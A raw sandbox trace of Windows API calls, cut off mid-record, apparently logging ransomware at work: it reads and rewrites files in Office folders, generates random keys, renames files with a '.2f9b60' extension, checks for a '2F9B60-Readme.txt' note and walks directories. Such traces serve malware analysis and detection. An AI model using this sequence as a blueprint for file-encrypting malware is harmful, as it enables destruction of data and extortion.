RtlAnsiStringToUnicodeString (in: DestinationString=0x384af6d8, SourceString="7d442ee0faa36c9bc3e283f3fdd950985ec1", AllocateDestinationString=1 | out: DestinationString="7d442ee0faa36c9bc3e283f3fdd950985ec1") returned 0x0 [0114.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d610 [0114.806] wcscat (in: _Dest=0x202a58e0, _Source="7d442ee0f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\7d442ee0f") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\7d442ee0f" [0114.806] wcscat (in: _Dest=0x202a58e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\7d442ee0f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\7d442ee0f.2f9b60" [0114.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\7d442ee0f.2f9b60", NtPathName=0x384af6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\7d442ee0f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861f90 [0114.806] NtSetInformationFile (FileHandle=0x14b4, IoStatusBlock=0x384af750, FileInformation=0x1b861f90, Length=0xa6, FileInformationClass=0xa) returned 0x0 [0114.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861f90) returned 1 [0114.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.808] NtQueryInformationFile (in: FileHandle=0x14b4, IoStatusBlock=0x384af718, FileInformation=0x384af728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x384af718, FileInformation=0x384af728) returned 0x0 [0114.808] NtSetInformationFile (FileHandle=0x14b4, IoStatusBlock=0x384af718, FileInformation=0x384af728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a58e0) returned 1 [0114.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d610) returned 1 [0114.810] FlushFileBuffers (hFile=0x14b4) returned 1 [0114.823] CloseHandle (hObject=0x14b4) returned 1 [0114.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad2a0 [0114.829] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0114.829] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0114.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0114.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5f10) returned 1 Thread: id = 1214 os_tid = 0xd74 [0114.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 0x20 [0114.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM", dwFileAttributes=0x20) returned 1 [0114.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14fc [0114.801] GetFileSizeEx (in: hFile=0x14fc, lpFileSize=0x385ffb40 | out: lpFileSize=0x385ffb40*=63864) returned 1 [0114.801] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xf974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.802] ReadFile (in: hFile=0x14fc, lpBuffer=0x385ffac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x385ffb08, lpOverlapped=0x0 | out: lpBuffer=0x385ffac0*, lpNumberOfBytesRead=0x385ffb08*=0x4, lpOverlapped=0x0) returned 1 [0114.811] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0114.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0114.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0114.811] NtQuerySystemTime (in: CurrentTime=0x385ffa00 | out: CurrentTime=0x385ffa00*=132462177202678000) returned 0x0 [0114.811] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x3fe6622b [0114.811] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x61f88cd8 [0114.811] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x1ede4291 [0114.811] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x728d59bf [0114.811] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x61dee761 [0114.811] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x4a42e035 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x5fd01d26 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x1b231c25 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x421468be [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x7d868eff [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x2c89f1c4 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x2cb9c98e [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x762560cf [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x729bb271 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x6e62effd [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x65df1ec0 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x685fd032 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x510cba7d [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0xb58fa9f [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x47a8970d [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x7b0b420d [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x43c02591 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x4baba332 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x31210648 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x7bcbcc40 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x5ad795fe [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x4d1ae2ee [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x50a9b149 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0xa366b60 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x11a50526 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0xce01945 [0114.812] RtlRandomEx (in: Seed=0x385ff9f0 | out: Seed=0x385ff9f0) returned 0x4b63a5a3 [0114.823] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.823] ReadFile (in: hFile=0x14fc, lpBuffer=0x41ee2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x385ffa60, lpOverlapped=0x0 | out: lpBuffer=0x41ee2d00*, lpNumberOfBytesRead=0x385ffa60*=0x3c00, lpOverlapped=0x0) returned 1 [0114.824] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0114.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623f0) returned 1 [0114.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ee6910 [0114.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0114.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0114.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263470) returned 1 [0114.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.825] WriteFile (in: hFile=0x14fc, lpBuffer=0x41ee6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x385ffa60, lpOverlapped=0x0 | out: lpBuffer=0x41ee6910*, lpNumberOfBytesWritten=0x385ffa60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ee6910) returned 1 [0130.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ee2d00) returned 1 [0130.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20260980 [0130.240] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0130.240] WriteFile (in: hFile=0x14fc, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x385ffb10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x385ffb10*=0x100, lpOverlapped=0x0) returned 1 [0130.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0130.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202610a0) returned 1 [0130.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b7d5a50 [0130.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0130.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0130.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261190) returned 1 [0130.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x20261190 [0130.244] sprintf (in: _Dest=0x20261190, _Format="%c%c" | out: _Dest="68") returned 2 [0130.244] sprintf (in: _Dest=0x20261192, _Format="%c%c" | out: _Dest="22") returned 2 [0130.244] sprintf (in: _Dest=0x20261194, _Format="%c%c" | out: _Dest="23") returned 2 [0130.244] sprintf (in: _Dest=0x20261196, _Format="%c%c" | out: _Dest="d5") returned 2 [0130.244] sprintf (in: _Dest=0x20261198, _Format="%c%c" | out: _Dest="39") returned 2 [0130.244] sprintf (in: _Dest=0x2026119a, _Format="%c%c" | out: _Dest="2b") returned 2 [0130.244] sprintf (in: _Dest=0x2026119c, _Format="%c%c" | out: _Dest="51") returned 2 [0130.244] sprintf (in: _Dest=0x2026119e, _Format="%c%c" | out: _Dest="bc") returned 2 [0130.244] sprintf (in: _Dest=0x202611a0, _Format="%c%c" | out: _Dest="88") returned 2 [0130.244] sprintf (in: _Dest=0x202611a2, _Format="%c%c" | out: _Dest="fa") returned 2 [0130.244] sprintf (in: _Dest=0x202611a4, _Format="%c%c" | out: _Dest="09") returned 2 [0130.244] sprintf (in: _Dest=0x202611a6, _Format="%c%c" | out: _Dest="1b") returned 2 [0130.245] sprintf (in: _Dest=0x202611a8, _Format="%c%c" | out: _Dest="dd") returned 2 [0130.245] sprintf (in: _Dest=0x202611aa, _Format="%c%c" | out: _Dest="e8") returned 2 [0130.245] RtlInitAnsiString (in: DestinationString=0x385ffb88, SourceString="682223d5392b51bc88fa091bdde8" | out: DestinationString="682223d5392b51bc88fa091bdde8") [0130.245] RtlAnsiStringToUnicodeString (in: DestinationString=0x385ffb58, SourceString="682223d5392b51bc88fa091bdde8", AllocateDestinationString=1 | out: DestinationString="682223d5392b51bc88fa091bdde8") returned 0x0 [0130.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd972b0 [0130.245] wcscat (in: _Dest=0x202a40b0, _Source="682223d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\682223d") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\682223d" [0130.245] wcscat (in: _Dest=0x202a40b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\682223d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\682223d.2f9b60" [0130.245] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\682223d.2f9b60", NtPathName=0x385ffb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\682223d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0130.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b861490 [0132.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861490) returned 1 [0132.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0132.337] NtQueryInformationFile (in: FileHandle=0x14fc, IoStatusBlock=0x385ffb98, FileInformation=0x385ffba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x385ffb98, FileInformation=0x385ffba8) returned 0x0 [0132.337] NtSetInformationFile (FileHandle=0x14fc, IoStatusBlock=0x385ffb98, FileInformation=0x385ffba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a40b0) returned 1 [0132.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.339] FlushFileBuffers (hFile=0x14fc) returned 1 [0138.479] CloseHandle (hObject=0x14fc) returned 1 [0138.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0150 [0138.496] wcscpy (in: _Dest=0x202b0150, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0138.496] wcscat (in: _Dest=0x202b0150, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0138.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0138.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0150) returned 1 [0138.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 Thread: id = 1215 os_tid = 0x7c4 [0114.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5f10 [0114.835] wcscpy (in: _Dest=0x202a5f10, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0114.835] wcscat (in: _Dest=0x202a5f10, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0114.835] wcscat (in: _Dest=0x202a5f10, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*" [0114.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c800 [0114.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d610 [0114.858] wcscmp (_String1=".", _String2=".") returned 0 [0114.858] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.858] wcscmp (_String1="..", _String2=".") returned 1 [0114.858] wcscmp (_String1="..", _String2="..") returned 0 [0114.858] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0114.858] wcscmp (_String1="PresentationBuildTasks.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="PresentationBuildTasks.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0114.859] wcscmp (_String1="PresentationCore.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="PresentationCore.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Aero.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Aero.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Classic.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Classic.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0114.859] wcscmp (_String1="PresentationFramework.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="PresentationFramework.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Luna.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Luna.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Royale.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="PresentationFramework.Royale.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0114.859] wcscmp (_String1="ReachFramework.dll", _String2=".") returned 1 [0114.859] wcscmp (_String1="ReachFramework.dll", _String2="..") returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0114.859] wcscmp (_String1="RedistList", _String2=".") returned 1 [0114.860] wcscmp (_String1="RedistList", _String2="..") returned 1 [0114.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad2a0 [0114.860] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0114.860] wcscat (in: _Dest=0x1b7ad2a0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0114.860] wcscat (in: _Dest=0x1b7ad2a0, _Source="RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0127.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe9c [0127.274] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, 